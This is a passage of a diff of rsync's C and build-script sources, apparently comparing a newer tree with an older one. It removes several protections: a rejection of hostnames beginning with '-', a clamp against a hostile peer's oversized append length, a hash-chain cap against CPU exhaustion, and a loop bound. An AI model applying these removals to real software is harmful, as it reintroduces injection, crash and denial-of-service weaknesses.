(DEBUG_GTE(FLIST, 3))\n \t\t\trprintf(FINFO,\"file list sent\\n\");\n \n@@ -1624,7 +1546,7 @@ static int start_client(int argc, char *argv[])\n \t\texit_cleanup(RERR_SYNTAX);\n \t}\n \n-\tif (connect_timeout && !daemon_connection) {\n+\tif (connect_timeout) {\n \t\trprintf(FERROR, \"The --contimeout option may only be \"\n \t\t\t\t\"used when connecting to an rsync daemon.\\n\");\n \t\texit_cleanup(RERR_SYNTAX);\n@@ -1637,10 +1559,6 @@ static int start_client(int argc, char *argv[])\n \t\t\tshell_user = shell_machine;\n \t\t\tshell_machine = p+1;\n \t\t}\n-\t\tif (*shell_machine == '-') {\n-\t\t\trprintf(FERROR, \"Invalid remote host: hostnames may not start with '-'.\\n\");\n-\t\t\texit_cleanup(RERR_SYNTAX);\n-\t\t}\n \t}\n \n \tif (DEBUG_GTE(CMD, 2)) {\n@@ -1656,14 +1574,6 @@ static int start_client(int argc, char *argv[])\n \t(void)env_port;\n #endif\n \n-\t/* For a daemon reached through a remote shell, the \"connection\" rsync\n-\t * waits on is: the helper is spawned, it establishes its own link (e.g.\n-\t * rsync-ssl's openssl connect + TLS handshake), and the daemon greeting is\n-\t * exchanged.  Bound that whole phase with --contimeout so the option\n-\t * behaves for daemon-via-rsh the way it does for a socket connection. */\n-\tif (daemon_connection && connect_timeout > 0)\n-\t\tset_client_connect_timeout(connect_timeout);\n-\n \tpid = do_cmd(shell_cmd, shell_machine, shell_user, remote_argv, remote_argc, &f_in, &f_out);\n \n \t/* if we're running an rsync server on the remote host over a\n@@ -1671,7 +1581,6 @@ static int start_client(int argc, char *argv[])\n \tif (daemon_connection) {\n \t\tint tmpret;\n \t\ttmpret = start_inband_exchange(f_in, f_out, shell_user, remote_argc, remote_argv);\n-\t\tset_client_connect_timeout(0);\n \t\tif (tmpret < 0)\n \t\t\treturn tmpret;\n \t}\n@@ -1691,26 +1600,11 @@ static void sigusr1_handler(UNUSED(int val))\n \texit_cleanup(RERR_SIGNAL1);\n }\n \n-/* SIGUSR2 tells the receiver child to wrap up.  A signal handler must be\n- * async-signal-safe, so it only sets a flag here; receive_sigusr2() does the\n- * actual summary + shutdown (which use stdio/malloc/close) at a safe point in\n- * the receiver's post-transfer wait loops (read_final_goodbye via perform_io,\n- * and the trailing sleep). */\n static void sigusr2_handler(UNUSED(int val))\n-{\n-\tgot_sigusr2 = 1;\n-}\n-\n-void receive_sigusr2(void)\n {\n \tif (!am_server)\n \t\toutput_summary();\n \tclose_all();\n-#ifdef GCOV_COVERAGE\n-\t/* The receiver child exits with _exit() here, bypassing the gcov atexit\n-\t * flush; without this it writes no .gcda. */\n-\t{ extern void __gcov_dump(void); __gcov_dump(); }\n-#endif\n \tif (got_xfer_error)\n \t\t_exit(RERR_PARTIAL);\n \t_exit(0);\n@@ -1813,31 +1707,6 @@ static void unset_env_var(const char *var)\n }\n \n \n-/* The symlink-race-safe path resolver (secure_relative_open) holds one open\n- * dirfd per path component while it walks a path, plus an ancestor-dirfd cache\n- * -- far more descriptors than legacy rsync's single open().  On a host with a\n- * low default soft limit (e.g. OpenBSD's 128) a deep tree can hit EMFILE.\n- * Raise the soft RLIMIT_NOFILE toward the hard limit (unprivileged, per\n- * process; inherited by the sender/generator/receiver forks and daemon\n- * children), but cap it: some systems set an enormous hard limit (2^20+) that\n- * we don't want to adopt wholesale. */\n-static void raise_fd_limit(void)\n-{\n-#if defined HAVE_GETRLIMIT && defined HAVE_SETRLIMIT && defined RLIMIT_NOFILE\n-\tstruct rlimit rl;\n-\trlim_t want = 4096; /* covers a MAXPATHLEN-deep walk + cache + headroom */\n-\n-\tif (getrlimit(RLIMIT_NOFILE, &rl) < 0)\n-\t\treturn;\n-\tif (want > rl.rlim_max)\n-\t\twant = rl.rlim_max; /* never exceed the (admin-set) hard limit */\n-\tif (rl.rlim_cur < want) { /* only ever raise, never lower an inherited limit */\n-\t\trl.rlim_cur = want;\n-\t\t(void)setrlimit(RLIMIT_NOFILE, &rl); /* best-effort */\n-\t}\n-#endif\n-}\n-\n int main(int argc,char *argv[])\n {\n \tint ret;\n@@ -1845,8 +1714,6 @@ int main(int argc,char *argv[])\n \traw_argc = argc;\n \traw_argv = argv;\n \n-\traise_fd_limit();\n-\n #ifdef HAVE_SIGACTION\n # ifdef HAVE_SIGPROCMASK\n \tsigset_t sigmask;\n@@ -1876,9 +1743,7 @@ int main(int argc,char *argv[])\n \tour_gid = MY_GID();\n \tam_root = our_uid == ROOT_UID;\n \n-\t// DISPLAY should not be emptied unconditionally\n-\tif (!getenv(\"SSH_ASKPASS\"))\n-\t\tunset_env_var(\"DISPLAY\");\n+\tunset_env_var(\"DISPLAY\");\n \n #if defined USE_OPENSSL && defined SET_OPENSSL_CONF\n #define TO_STR2(x) #x\n@@ -1960,7 +1825,7 @@ int main(int argc,char *argv[])\n \tif (am_server && protect_args) {\n \t\tchar buf[MAXPATHLEN];\n \t\tprotect_args = 2;\n-\t\tread_args(STDIN_FILENO, NULL, buf, sizeof buf, 1, 0, &argv, &argc, NULL);\n+\t\tread_args(STDIN_FILENO, NULL, buf, sizeof buf, 1, &argv, &argc, NULL);\n \t\tif (!parse_arguments(&argc, (const char ***) &argv)) {\n \t\t\toption_error();\n \t\t\texit_cleanup(RERR_SYNTAX);\ndiff --git a/match.c b/match.c\nindex 6f17b35..dfd6af2 100644\n--- a/match.c\n+++ b/match.c\n@@ -44,29 +44,6 @@ extern struct stats stats;\n \n #define TRADITIONAL_TABLESIZE (1<<16)\n \n-/* The maximum number of same-weak-checksum candidates we will compare\n- * against at a single file offset before giving up and rolling forward a\n- * byte.  A weak checksum that collides thousands of times (very common in\n- * disk/VM images, which contain large runs of identical blocks) would\n- * otherwise turn hash_search()'s inner loop into an O(file_size *\n- * chain_length) scan, pegging a CPU at 100% for hours with no apparent\n- * progress (issue #217).\n- *\n- * Concretely, a synthetic 40000-block basis whose blocks all share one weak\n- * checksum took ~18.4s to sync a 60KB source on a modern x86_64 box before\n- * this cap and ~0.7s after it -- and the unbounded cost grows with the\n- * square of the file size, which is what produced the multi-hour \"hangs\"\n- * reported against real multi-GB images.\n- *\n- * Capping the per-offset work keeps the search bounded; any block we skip\n- * over is simply sent as literal data, so the result is always correct --\n- * only the transfer size is (slightly) affected.  This is purely a\n- * sender-side search limit: it changes no checksum, emitted byte, or\n- * protocol field, so a capped sender interoperates with any receiver. */\n-#ifndef MAX_CHAIN_LEN\n-#define MAX_CHAIN_LEN 1024\n-#endif\n-\n static uint32 tablesize;\n static int32 *hash_table;\n \n@@ -166,9 +143,7 @@ static void hash_search(int f,struct sum_struct *s,\n \tOFF_T offset, aligned_offset, end;\n \tint32 k, want_i, aligned_i, backup;\n \tchar sum2[MAX_DIGEST_LEN];\n-\tint32 consecutive_false_offsets = 0;\n \tuint32 s1, s2, sum;\n-\tuchar last_false_flags = 0;\n \tint more;\n \tschar *map;\n \n@@ -205,11 +180,8 @@ static void hash_search(int f,struct sum_struct *s,\n \n \tdo {\n \t\tint done_csum2 = 0;\n-\t\tint matched_block = 0;\n-\t\tconst char *last_false_sum2 = NULL;\n \t\tuint32 hash_entry;\n \t\tint32 i, *prev;\n-\t\tint32 chain_len = 0;\n \n \t\tif (DEBUG_GTE(DELTASUM, 4)) {\n \t\t\trprintf(FINFO, \"offset=%s sum=%04x%04x\\n\",\n@@ -218,18 +190,14 @@ static void hash_search(int f,struct sum_struct *s,\n \n \t\tif (tablesize == TRADITIONAL_TABLESIZE) {\n \t\t\thash_entry = SUM2HASH2(s1,s2);\n-\t\t\tif ((i = hash_table[hash_entry]) < 0) {\n-\t\t\t\tconsecutive_false_offsets = 0;\n+\t\t\tif ((i = hash_table[hash_entry]) < 0)\n \t\t\t\tgoto null_hash;\n-\t\t\t}\n \t\t\tsum = (s1 & 0xffff) | (s2 << 16);\n \t\t} else {\n \t\t\tsum = (s1 & 0xffff) | (s2 << 16);\n \t\t\thash_entry = BIG_SUM2HASH(sum);\n-\t\t\tif ((i = hash_table[hash_entry]) < 0) {\n-\t\t\t\tconsecutive_false_offsets = 0;\n+\t\t\tif ((i = hash_table[hash_entry]) < 0)\n \t\t\t\tgoto null_hash;\n-\t\t\t}\n \t\t}\n \t\tprev = &hash_table[hash_entry];\n \n@@ -245,28 +213,15 @@ static void hash_search(int f,struct sum_struct *s,\n \t\t\t\t*prev = s->sums[i].chain;\n \t\t\t\tcontinue;\n \t\t\t}\n-            l = (int32)MIN((OFF_T)s->blength, len-offset);\n-\t\t\tif (sum != s->sums[i].sum1 || l != s->sums[i].len) {\n-\t\t\t\tprev = &s->sums[i].chain;\n-\t\t\t\tcontinue;\n-\t\t\t}\n+\t\t\tprev = &s->sums[i].chain;\n \n-\t\t\tif (last_false_sum2\n-\t\t\t && (!(s->sums[i].flags & SUMFLG_SAME_OFFSET)\n-\t\t\t  || (last_false_flags & SUMFLG_SAME_OFFSET))\n-\t\t\t && memcmp(sum2_at(s, i), last_false_sum2, s->s2length) == 0) {\n-\t\t\t\t*prev = s->sums[i].chain;\n+\t\t\tif (sum != s->sums[i].sum1)\n \t\t\t\tcontinue;\n-\t\t\t}\n-\t\t\tprev = &s->sums[i].chain;\n \n-\t\t\t/* Bound the work spent on a single pathological hash\n-\t\t\t * bucket.  If this weak checksum matches more than\n-\t\t\t * MAX_CHAIN_LEN records, stop scanning and treat this\n-\t\t\t * offset as a non-match (issue #217).  The skipped data\n-\t\t\t * is sent literally, never corrupted. */\n-\t\t\tif (++chain_len > MAX_CHAIN_LEN)\n-\t\t\t\tbreak;\n+\t\t\t/* also make sure the two blocks are the same length */\n+\t\t\tl = (int32)MIN((OFF_T)s->blength, len-offset);\n+\t\t\tif (l != s->sums[i].len)\n+\t\t\t\tcontinue;\n \n \t\t\tif (DEBUG_GTE(DELTASUM, 3)) {\n \t\t\t\trprintf(FINFO,\n@@ -282,8 +237,6 @@ static void hash_search(int f,struct sum_struct *s,\n \n \t\t\tif (memcmp(sum2, sum2_at(s, i), s->s2length) != 0) {\n \t\t\t\tfalse_alarms++;\n-\t\t\t\tlast_false_sum2 = sum2_at(s, i);\n-\t\t\t\tlast_false_flags = s->sums[i].flags;\n \t\t\t\tcontinue;\n \t\t\t}\n \n@@ -292,7 +245,7 @@ static void hash_search(int f,struct sum_struct *s,\n \t\t\t * the adjacent want_i optimization. */\n \t\t\tif (updating_basis_file) {\n \t\t\t\t/* All the generator's chunks start at blength boundaries. */\n-\t\t\t\twhile (aligned_offset < offset && aligned_i < s->count) {\n+\t\t\t\twhile (aligned_offset < offset) {\n \t\t\t\t\taligned_offset += s->blength;\n \t\t\t\t\taligned_i++;\n \t\t\t\t}\n@@ -340,7 +293,6 @@ static void hash_search(int f,struct sum_struct *s,\n \t\t\t && (!updating_basis_file || s->sums[want_i].offset >= offset\n \t\t\t  || s->sums[want_i].flags & SUMFLG_SAME_OFFSET)\n \t\t\t && sum == s->sums[want_i].sum1\n-\t\t\t && l == s->sums[want_i].len\n \t\t\t && memcmp(sum2, sum2_at(s, want_i), s->s2length) == 0) {\n \t\t\t\t/* we've found an adjacent match - the RLL coder\n \t\t\t\t * will be happy */\n@@ -356,29 +308,8 @@ static void hash_search(int f,struct sum_struct *s,\n \t\t\ts1 = sum & 0xFFFF;\n \t\t\ts2 = sum >> 16;\n \t\t\tmatches++;\n-\t\t\tmatched_block = 1;\n-\t\t\tconsecutive_false_offsets = 0;\n \t\t\tbreak;\n \t\t} while ((i = s->sums[i].chain) >= 0);\n-\t\t/* If we computed a strong checksum (weak collision) and the entire\n-\t\t * chain failed to match, don't let repeated collisions force a\n-\t\t * 1-byte walk with a full strong-checksum calculation on every byte. */\n-\t\tif (!matched_block && (done_csum2 || chain_len > MAX_CHAIN_LEN)) {\n-\t\t\tif (++consecutive_false_offsets >= 4 && k > 1) {\n-\t\t\t\tOFF_T skip = MIN((OFF_T)(k - 1), end - 1 - offset);\n-\t\t\t\tif (skip > 0) {\n-\t\t\t\t\toffset += skip;\n-\t\t\t\t\tk = (int32)MIN((OFF_T)s->blength, len-offset);\n-\t\t\t\t\tmap = (schar *)map_ptr(buf, offset, k);\n-\t\t\t\t\tsum = get_checksum1((char *)map, k);\n-\t\t\t\t\ts1 = sum & 0xFFFF;\n-\t\t\t\t\ts2 = sum >> 16;\n-\t\t\t\t}\n-\t\t\t\tconsecutive_false_offsets = 3;\n-\t\t\t}\n-\t\t}\n-\t\telse if (!matched_block)\n-\t\t\tconsecutive_false_offsets = 0;\n \n \t  null_hash:\n \t\tbackup = (int32)(offset - last_match);\n@@ -439,14 +370,6 @@ void match_sums(int f, struct sum_struct *s, struct map_struct *buf, OFF_T len)\n \tsum_init(xfer_sum_nni, checksum_seed);\n \n \tif (append_mode > 0) {\n-\t\tif (s->flength > len) {\n-\t\t\t/* A hostile or confused peer can claim a verified-prefix\n-\t\t\t * length that exceeds what we have on disk -- including\n-\t\t\t * for an empty local file, where buf is NULL and the\n-\t\t\t * map_ptr() calls below would dereference it.  Clamp to\n-\t\t\t * what we can actually read. */\n-\t\t\ts->flength = len;\n-\t\t}\n \t\tif (append_mode == 2) {\n \t\t\tOFF_T j = 0;\n \t\t\tfor (j = CHUNK_SIZE; j < s->flength; j += CHUNK_SIZE) {\n@@ -494,7 +417,7 @@ void match_sums(int f, struct sum_struct *s, struct map_struct *buf, OFF_T len)\n \t\tint i;\n \t\tfor (i = 0; i < xfer_sum_len && sender_file_sum[i] == 0; i++) {}\n \t\tmemset(sender_file_sum, 0, xfer_sum_len);\n-\t\tif (i == xfer_sum_len && i > 0)\n+\t\tif (i == xfer_sum_len)\n \t\t\tsender_file_sum[i-1]++;\n \t}\n \ndiff --git a/maybe-make-man b/maybe-make-man\nindex b751ebc..c7af739 100755\n--- a/maybe-make-man\n+++ b/maybe-make-man\n@@ -15,7 +15,7 @@ if [ ! -f \"$flagfile\" ]; then\n     if \"$srcdir/md-convert\" --test \"$srcdir/rsync-ssl.1.md\" >/dev/null 2>&1; then\n \ttouch $flagfile\n     else\n-\toutname=`basename \"$inname\" .md`\n+\toutname=`echo \"$inname\" | sed 's/\\.md$//'`\n \tif [ -f \"$outname\" ]; then\n \t    exit 0\n \telif [ -f \"$srcdir/$outname\" ]; then\ndiff --git a/md-convert b/md-convert\nindex 06e5b1e..5fd63a7 100755\n--- a/md-convert\n+++ b/md-convert\n@@ -120,7 +120,6 @@ TZ_RE = re.compile(r'^#define\\s+MAINTAINER_TZ_OFFSET\\s+(-?\\d+(\\.\\d+)?)', re.M)\n VAR_REF_RE = re.compile(r'\\$\\{(\\w+)\\}')\n VERSION_RE = re.compile(r' (\\d[.\\d]+)[, ]')\n BIN_CHARS_RE = re.compile(r'[\\1-\\7]+')\n-LONG_OPT_DASH_RE = re.compile(r'(--\\w[-\\w]+)')\n SPACE_DOUBLE_DASH_RE = re.compile(r'\\s--(\\s)')\n NON_SPACE_SINGLE_DASH_RE = re.compile(r'(^|\\W)-')\n WHITESPACE_RE = re.compile(r'\\s')\n@@ -248,9 +247,6 @@ def find_man_substitutions():\n \n     env_subs['date'] = time.strftime('%d %b %Y', time.gmtime(mtime + tz_offset)).lstrip('0')\n \n-    if 'SOURCE_DATE_EPOCH' in os.environ:\n-        env_subs['date'] = time.strftime('%d %b %Y', time.gmtime(int(os.environ.get('SOURCE_DATE_EPOCH', time.time()))))\n-\n \n def html_via_commonmark(txt):\n     return commonmark.HtmlRenderer().render(commonmark.Parser().parse(txt))\n@@ -544,7 +540,6 @@ class TransformHtml(HTMLParser):\n         if st.in_pre:\n             html = htmlify(txt)\n         else:\n-            txt = LONG_OPT_DASH_RE.sub(lambda x: x.group(1).replace('-', NBR_DASH[0]), txt)\n             txt = SPACE_DOUBLE_DASH_RE.sub(NBR_SPACE[0] + r'--\\1', txt).replace('--', NBR_DASH[0]*2)\n             txt = NON_SPACE_SINGLE_DASH_RE.sub(r'\\1' + NBR_DASH[0], txt)\n             html = htmlify(txt)\ndiff --git a/mkgitver b/mkgitver\nindex 8417ff8..0102b08 100755\n--- a/mkgitver\n+++ b/mkgitver\n@@ -7,20 +7,10 @@ if [ ! -f git-version.h ]; then\n fi\n \n if test -d \"$srcdir/.git\" || test -f \"$srcdir/.git\"; then\n-    # Identify a git build by the development version from version.h plus the\n-    # exact commit (e.g. \"3.5.0dev-g1234abcd\"), rather than the nearest release\n-    # tag that `git describe` would pick: that tag can sit far behind a rebased\n-    # development branch and then misnames the line you are actually on (showing,\n-    # say, 3.4.3 for a 3.5.0dev tree).  This also works in a shallow/tag-less\n-    # clone.  A release tarball has no .git, so git-version.h stays empty and\n-    # rsync prints the plain RSYNC_VERSION.\n-    # cd into the subshell rather than \"git -C\" (avoids needing a newer git).\n-    gitsha=`(cd \"$srcdir\" && git rev-parse --short=8 HEAD) 2>/dev/null`\n-    # Tolerate any preprocessor spacing and a trailing comment; capture only the\n-    # quoted value.  Empty (define missing/unmatched) -> leave RSYNC_GITVER unset.\n-    rsyncver=`sed -n 's/^[[:space:]]*#[[:space:]]*define[[:space:]][[:space:]]*RSYNC_VERSION[[:space:]][[:space:]]*\"\\([^\"]*\\)\".*/\\1/p' \"$srcdir/version.h\"`\n-    if [ -n \"$gitsha\" ] && [ -n \"$rsyncver\" ]; then\n-\tgitver=\"$rsyncver-g$gitsha\"\n+    gitver=`git describe --abbrev=8 2>/dev/null`\n+    # NOTE: I'm avoiding \"|\" in sed since I'm not sure if sed -r is portable and \"\\|\" fails on some OSes.\n+    verchk=`echo \"$gitver-\" | sed -n '/^v3\\.[0-9][0-9]*\\.[0-9][0-9]*\\(pre[0-9]*\\)*-/p'`\n+    if [ -n \"$verchk\" ]; then\n \techo \"#define RSYNC_GITVER \\\"$gitver\\\"\" >git-version.h.new\n \tif ! diff git-version.h.new git-version.h >/dev/null; then\n \t    echo \"Updating git-version.h\"\ndiff --git a/mkproto.awk b/mkproto.awk\nindex 4fd4106..bd2e927 100644\n--- a/mkproto.awk\n+++ b/mkproto.awk\n@@ -18,7 +18,6 @@ inheader {\n     sub(/^CHAR\\(/, \"char \")\n     sub(/^INTEGER\\(/, \"int \")\n     sub(/^STRING\\(/, \"char *\")\n-    sub(/^STRING_SHELL\\(/, \"char *\")\n     protos = protos \"\\n\" $0 (local ? \"(int module_id);\" : \"(void);\")\n     next\n }\ndiff --git a/niceness.c b/niceness.c\ndeleted file mode 100644\nindex 15b31a5..0000000\n--- a/niceness.c\n+++ /dev/null\n@@ -1,356 +0,0 @@\n-#include \"rsync.h\"\n-\n-#ifdef HAVE_SYS_RESOURCE_H\n-#include <sys/resource.h>\n-#endif\n-#ifdef HAVE_LINUX_IOPRIO_H\n-#include <linux/ioprio.h>\n-#endif\n-#ifdef HAVE_SYS_SYSCALL_H\n-#include <sys/syscall.h>\n-#endif\n-extern int am_server;\n-extern int am_daemon;\n-\n-#define PRIORITY_UNSET (-100)\n-#define DEFAULT_NICE 19\n-\n-#if defined HAVE_SETPRIORITY && defined HAVE_SYS_RESOURCE_H\n-#define SUPPORT_NICE_PRIORITY 1\n-#endif\n-\n-#if defined HAVE_LINUX_IOPRIO_H && defined HAVE_SYS_SYSCALL_H \\\n- && defined SYS_ioprio_set && defined IOPRIO_PRIO_VALUE\n-#define SUPPORT_IO_PRIORITY 1\n-#endif\n-\n-enum io_priority_class {\n-\tIO_PRIORITY_NONE,\n-\tIO_PRIORITY_REALTIME,\n-\tIO_PRIORITY_BEST_EFFORT,\n-\tIO_PRIORITY_IDLE\n-};\n-\n-struct priority_setting {\n-\tint cpu;\n-\tint io_class;\n-\tint io_data;\n-};\n-\n-struct priority_options {\n-\tstruct priority_setting local;\n-\tstruct priority_setting remote;\n-};\n-\n-static struct priority_options priorities = {\n-\t{ PRIORITY_UNSET, PRIORITY_UNSET, 0 },\n-\t{ PRIORITY_UNSET, PRIORITY_UNSET, 0 }\n-};\n-\n-static void clear_setting(struct priority_setting *setting)\n-{\n-\tsetting->cpu = PRIORITY_UNSET;\n-\tsetting->io_class = PRIORITY_UNSET;\n-\tsetting->io_data = 0;\n-}\n-\n-void niceness_reset(void)\n-{\n-\tclear_setting(&priorities.local);\n-\tclear_setting(&priorities.remote);\n-}\n-\n-void niceness_use_remote(void)\n-{\n-\tpriorities.local = priorities.remote;\n-\tclear_setting(&priorities.remote);\n-}\n-\n-static void default_setting(struct priority_setting *setting)\n-{\n-\tsetting->cpu = DEFAULT_NICE;\n-\tsetting->io_class = IO_PRIORITY_IDLE;\n-\tsetting->io_data = 0;\n-}\n-\n-static uchar ascii_lower(uchar ch)\n-{\n-\treturn ch >= 'A' && ch <= 'Z' ? ch + ('a' - 'A') : ch;\n-}\n-\n-static int token_equal(const char *str, size_t len, const char *word)\n-{\n-\tsize_t i;\n-\n-\tif (strlen(word) != len)\n-\t\treturn 0;\n-\tfor (i = 0; i < len; i++) {\n-\t\tif (ascii_lower((uchar)str[i]) != ascii_lower((uchar)word[i]))\n-\t\t\treturn 0;\n-\t}\n-\treturn 1;\n-}\n-\n-static int parse_io_priority(const char *str, size_t len, int *class_p, int *data_p)\n-{\n-\tif (token_equal(str, len, \"none\"))\n-\t\t*class_p = IO_PRIORITY_NONE;\n-\telse if (token_equal(str, len, \"idle\"))\n-\t\t*class_p = IO_PRIORITY_IDLE;\n-\telse if (len == 4 && str[2] == '_' && str[3] >= '0' && str[3] <= '7'\n-\t      && (token_equal(str, 2, \"rt\") || token_equal(str, 2, \"be\"))) {\n-\t\t*class_p = ascii_lower((uchar)str[0]) == 'r'\n-\t\t\t? IO_PRIORITY_REALTIME : IO_PRIORITY_BEST_EFFORT;\n-\t\t*data_p = str[3] - '0';\n-\t\treturn 1;\n-\t} else\n-\t\treturn 0;\n-\n-\t*data_p = 0;\n-\treturn 1;\n-}\n-\n-static int parse_priority(const char *str, const char *end, struct priority_setting *setting)\n-{\n-\tchar *num_end;\n-\tlong value;\n-\n-\tclear_setting(setting);\n-\tif (parse_io_priority(str, end - str, &setting->io_class, &setting->io_data))\n-\t\treturn 1;\n-\tif (!isdigit((uchar)*str)\n-\t && !((*str == '+' || *str == '-') && str + 1 < end\n-\t   && isdigit((uchar)str[1])))\n-\t\treturn 0;\n-\n-\terrno = 0;\n-\tvalue = strtol(str, &num_end, 10);\n-\tif (errno == ERANGE || num_end == str || num_end > end || value < -20 || value > 19)\n-\t\treturn 0;\n-\tsetting->cpu = (int)value;\n-\tif (num_end == end)\n-\t\treturn 1;\n-\tif (*num_end++ != '/' || num_end == end)\n-\t\treturn 0;\n-\treturn parse_io_priority(num_end, end - num_end,\n-\t\t&setting->io_class, &setting->io_data);\n-}\n-\n-static int parse_target(const char *str, size_t len, int *local_p, int *remote_p)\n-{\n-\tif (token_equal(str, len, \"local\")) {\n-\t\t*local_p = 1;\n-\t\t*remote_p = 0;\n-\t} else if (token_equal(str, len, \"remote\")) {\n-\t\t*local_p = 0;\n-\t\t*remote_p = 1;\n-\t} else if (token_equal(str, len, \"all\"))\n-\t\t*local_p = *remote_p = 1;\n-\telse\n-\t\treturn 0;\n-\treturn 1;\n-}\n-\n-static void merge_setting(struct priority_setting *dest, const struct priority_setting *src)\n-{\n-\tif (src->cpu != PRIORITY_UNSET)\n-\t\tdest->cpu = src->cpu;\n-\tif (src->io_class != PRIORITY_UNSET) {\n-\t\tdest->io_class = src->io_class;\n-\t\tdest->io_data = src->io_data;\n-\t}\n-}\n-\n-int niceness_parse(const char *arg)\n-{\n-\tstruct priority_options parsed = priorities;\n-\tconst char *str = arg;\n-\n-\tif (!str || !*str)\n-\t\treturn 0;\n-\n-\twhile (*str) {\n-\t\tstruct priority_setting setting;\n-\t\tconst char *end = strchr(str, ',');\n-\t\tconst char *colon;\n-\t\tint local = 1, remote = 1;\n-\n-\t\tif (!end)\n-\t\t\tend = str + strlen(str);\n-\t\tif (end == str)\n-\t\t\treturn 0;\n-\n-\t\tcolon = memchr(str, ':', end - str);\n-\t\tif (colon) {\n-\t\t\tif (!parse_target(str, colon - str, &local, &remote)\n-\t\t\t || !parse_priority(colon + 1, end, &setting))\n-\t\t\t\treturn 0;\n-\t\t} else if (parse_target(str, end - str, &local, &remote))\n-\t\t\tdefault_setting(&setting);\n-\t\telse if (!parse_priority(str, end, &setting))\n-\t\t\treturn 0;\n-\n-\t\tif (local)\n-\t\t\tmerge_setting(&parsed.local, &setting);\n-\t\tif (remote)\n-\t\t\tmerge_setting(&parsed.remote, &setting);\n-\t\tif (*end) {\n-\t\t\tstr = end + 1;\n-\t\t\tif (!*str)\n-\t\t\t\treturn 0;\n-\t\t} else\n-\t\t\tstr = end;\n-\t}\n-\n-\tpriorities = parsed;\n-\treturn 1;\n-}\n-\n-static const char *io_priority_name(int class, int data, char *buf, size_t len)\n-{\n-\tswitch (class) {\n-\tcase IO_PRIORITY_NONE:\n-\t\treturn \"none\";\n-\tcase IO_PRIORITY_REALTIME:\n-\t\tsnprintf(buf, len, \"rt_%d\", data);\n-\t\treturn buf;\n-\tcase IO_PRIORITY_BEST_EFFORT:\n-\t\tsnprintf(buf, len, \"be_%d\", data);\n-\t\treturn buf;\n-\tcase IO_PRIORITY_IDLE:\n-\t\treturn \"idle\";\n-\t}\n-\treturn \"unknown\";\n-}\n-\n-char *niceness_remote_option(void)\n-{\n-\tstruct priority_setting *setting = &priorities.remote;\n-\tchar *arg;\n-\tchar io_buf[5];\n-\tconst char *io_name;\n-\tint ret;\n-\n-\tif (setting->cpu == PRIORITY_UNSET && setting->io_class == PRIORITY_UNSET)\n-\t\treturn NULL;\n-\tif (setting->io_class != PRIORITY_UNSET)\n-\t\tio_name = io_priority_name(setting->io_class, setting->io_data,\n-\t\t\tio_buf, sizeof io_buf);\n-\telse\n-\t\tio_name = NULL;\n-\tif (setting->cpu != PRIORITY_UNSET && setting->io_class != PRIORITY_UNSET)\n-\t\tret = asprintf(&arg, \"--nice=local:%d/%s\", setting->cpu, io_name);\n-\telse if (setting->cpu != PRIORITY_UNSET)\n-\t\tret = asprintf(&arg, \"--nice=local:%d\", setting->cpu);\n-\telse\n-\t\tret = asprintf(&arg, \"--nice=local:%s\", io_name);\n-\tif (ret < 0)\n-\t\tout_of_memory(\"niceness_remote_option\");\n-\treturn arg;\n-}\n-\n-int niceness_check_daemon_request(char *err_buf, size_t err_len)\n-{\n-\tstruct priority_setting *setting = &priorities.local;\n-\n-\tif (setting->cpu != PRIORITY_UNSET && setting->cpu != DEFAULT_NICE) {\n-\t\tsnprintf(err_buf, err_len,\n-\t\t\t\"daemon clients may only request CPU nice 19\\n\");\n-\t\treturn 0;\n-\t}\n-\tif (setting->io_class != PRIORITY_UNSET\n-\t && setting->io_class != IO_PRIORITY_IDLE) {\n-\t\tsnprintf(err_buf, err_len,\n-\t\t\t\"daemon clients may only request idle I/O priority\\n\");\n-\t\treturn 0;\n-\t}\n-\n-\treturn 1;\n-}\n-\n-static const char *process_role(void)\n-{\n-\treturn am_daemon ? \"daemon\" : am_server ? \"server\" : \"client\";\n-}\n-\n-static int apply_cpu_priority(int priority)\n-{\n-#ifdef SUPPORT_NICE_PRIORITY\n-\tif (setpriority(PRIO_PROCESS, 0, priority) < 0) {\n-\t\trsyserr(FWARNING, errno, \"failed to set %s CPU priority to %d\",\n-\t\t\tprocess_role(), priority);\n-\t\treturn 0;\n-\t}\n-\tif (DEBUG_GTE(CMD, 1))\n-\t\trprintf(FINFO, \"set %s CPU priority to %d\\n\", process_role(), priority);\n-\treturn 1;\n-#else\n-\trprintf(FWARNING,\n-\t\t\"cannot set %s CPU priority to %d: \"\n-\t\t\"operation is not supported on this system\\n\",\n-\t\tprocess_role(), priority);\n-\treturn 0;\n-#endif\n-}\n-\n-static void apply_io_priority(int class, int data)\n-{\n-\tchar name_buf[5];\n-\tconst char *name = io_priority_name(class, data, name_buf, sizeof name_buf);\n-\n-#ifdef SUPPORT_IO_PRIORITY\n-\tint kernel_class;\n-\n-\tswitch (class) {\n-\tcase IO_PRIORITY_NONE:\n-\t\tkernel_class = IOPRIO_CLASS_NONE;\n-\t\tbreak;\n-\tcase IO_PRIORITY_REALTIME:\n-\t\tkernel_class = IOPRIO_CLASS_RT;\n-\t\tbreak;\n-\tcase IO_PRIORITY_BEST_EFFORT:\n-\t\tkernel_class = IOPRIO_CLASS_BE;\n-\t\tbreak;\n-\tcase IO_PRIORITY_IDLE:\n-\t\tkernel_class = IOPRIO_CLASS_IDLE;\n-\t\tbreak;\n-\tdefault:\n-\t\treturn;\n-\t}\n-\tif (syscall(SYS_ioprio_set, IOPRIO_WHO_PROCESS, 0,\n-\t\tIOPRIO_PRIO_VALUE(kernel_class, data)) < 0)\n-\t\trsyserr(FWARNING, errno, \"failed to set %s I/O priority to %s\",\n-\t\t\tprocess_role(), name);\n-\telse if (DEBUG_GTE(CMD, 1))\n-\t\trprintf(FINFO, \"set %s I/O priority to %s\\n\", process_role(), name);\n-#else\n-\trprintf(FWARNING,\n-\t\t\"cannot set %s I/O priority to %s: \"\n-\t\t\"operation is not supported on this system\\n\",\n-\t\tprocess_role(), name);\n-#endif\n-}\n-\n-void niceness_apply(void)\n-{\n-\tstruct priority_setting setting = priorities.local;\n-\tint cpu_applied = 1;\n-\n-\tclear_setting(&priorities.local);\n-\tif (setting.cpu != PRIORITY_UNSET)\n-\t\tcpu_applied = apply_cpu_priority(setting.cpu);\n-#ifndef SUPPORT_NICE_PRIORITY\n-\t(void)cpu_applied;\n-#endif\n-\tif (setting.io_class != PRIORITY_UNSET) {\n-#ifdef SUPPORT_NICE_PRIORITY\n-\t\tif (am_daemon && setting.cpu != PRIORITY_UNSET\n-\t\t && setting.io_class == IO_PRIORITY_NONE && !cpu_applied) {\n-\t\t\trprintf(FWARNING,\n-\t\t\t\t\"not resetting daemon I/O priority because the CPU priority change 